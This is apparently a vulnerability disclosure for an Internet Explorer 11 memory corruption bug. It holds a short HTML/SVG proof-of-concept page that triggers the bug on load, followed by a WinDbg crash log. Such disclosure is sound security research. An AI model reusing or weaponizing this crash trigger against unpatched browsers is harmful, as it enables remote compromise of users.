67 lines
No EOL
3.4 KiB
HTML
67 lines
No EOL
3.4 KiB
HTML
<!--
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There is a memory corruption issue in IE that can be triggered with svg <use> element.
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The bug was confirmed on IE Version 11.0.9600.18617 (Update Version 11.0.40) running on Windows 7 64-bit. I was unable to reproduce it on Windows 10.
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PoC:
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==========================================
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-->
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<!-- saved from url=(0014)about:internet -->
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<script>
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function go() {
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setTimeout("window.location.reload()",100);
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pattern.replaceChild(use,pattern.childNodes[0]);
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}
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</script>
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<body onload=go()>
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<!--this is a comment-->
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<svg>
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<use id="use" xlink:href="#fecomp">
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<symbol>
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<feComposite id="fecomp" />
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</use>
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<pattern id="pattern">
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<foreignObject><body xmlns="http://www.w3.org/1999/xhtml"><output>2)lt</output>
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<!--
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==========================================
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Following is the crash log when the PoC is ran on 64-bit IE in the single process mode (TabProcGrowth=0).
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(1a38.2a98): Access violation - code c0000005 (first chance)
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First chance exceptions are reported before any exception handling.
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This exception may be expected and handled.
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MSHTML!CMarkup::DestroySplayTree+0x10a:
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000007fe`e8de2723 48894110 mov qword ptr [rcx+10h],rax ds:00000000`700400d6=????????????????
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0:013> r
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rax=0000000012a69010 rbx=0000000012a68c78 rcx=00000000700400c6
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rdx=0000000000000001 rsi=0000000012a68f20 rdi=0000000012a58000
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rip=000007fee8de2723 rsp=0000000012d9bfb0 rbp=0000000012d9c029
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r8=0000000000000000 r9=0000000012a58000 r10=0000000012a20000
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r11=0000000000000025 r12=0000000012a68f20 r13=0000000012a68f20
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r14=0000000012a20000 r15=0000000012a68bb0
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iopl=0 nv up ei pl zr na po nc
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cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
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MSHTML!CMarkup::DestroySplayTree+0x10a:
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000007fe`e8de2723 48894110 mov qword ptr [rcx+10h],rax ds:00000000`700400d6=????????????????
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0:013> k
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# Child-SP RetAddr Call Site
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00 00000000`12d9bfb0 000007fe`e8de1ddc MSHTML!CMarkup::DestroySplayTree+0x10a
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01 00000000`12d9c090 000007fe`e8ec9289 MSHTML!CMarkup::UnloadContents+0x49b
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02 00000000`12d9c170 000007fe`e8ec9171 MSHTML!CMarkup::TearDownMarkupHelper+0xd5
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03 00000000`12d9c1a0 000007fe`e90788b2 MSHTML!CMarkup::TearDownMarkup+0x75
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04 00000000`12d9c1f0 000007fe`e998dc7a MSHTML!COmWindowProxy::SwitchMarkup+0x562
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05 00000000`12d9c360 000007fe`e969ce9f MSHTML!COmWindowProxy::ExecRefresh+0xa3a
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06 00000000`12d9c500 000007fe`e8d99d75 MSHTML!GlobalWndOnMethodCall+0x240
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07 00000000`12d9c5a0 00000000`76dd9bbd MSHTML!GlobalWndProc+0x150
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08 00000000`12d9c620 00000000`76dd98c2 USER32!UserCallWinProcCheckWow+0x1ad
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09 00000000`12d9c6e0 000007fe`f2f83395 USER32!DispatchMessageWorker+0x3b5
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0a 00000000`12d9c760 000007fe`f2f7df5b IEFRAME!CTabWindow::_TabWindowThreadProc+0x555
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0b 00000000`12d9f9e0 000007fe`fd09572f IEFRAME!LCIETab_ThreadProc+0x3a3
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0c 00000000`12d9fb10 000007fe`f0b7925f iertutil!Microsoft::WRL::ActivationFactory<Microsoft::WRL::Implements<Microsoft::WRL::FtmBase,Windows::Foundation::IUriRuntimeClassFactory,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil>,Windows::Foundation::IUriEscapeStatics,Microsoft::WRL::Details::Nil,0>::GetTrustLevel+0x5f
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0d 00000000`12d9fb40 00000000`76ed59cd IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x9f
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0e 00000000`12d9fb90 00000000`7700a561 kernel32!BaseThreadInitThunk+0xd
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0f 00000000`12d9fbc0 00000000`00000000 ntdll!RtlUserThreadStart+0x1d
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--> |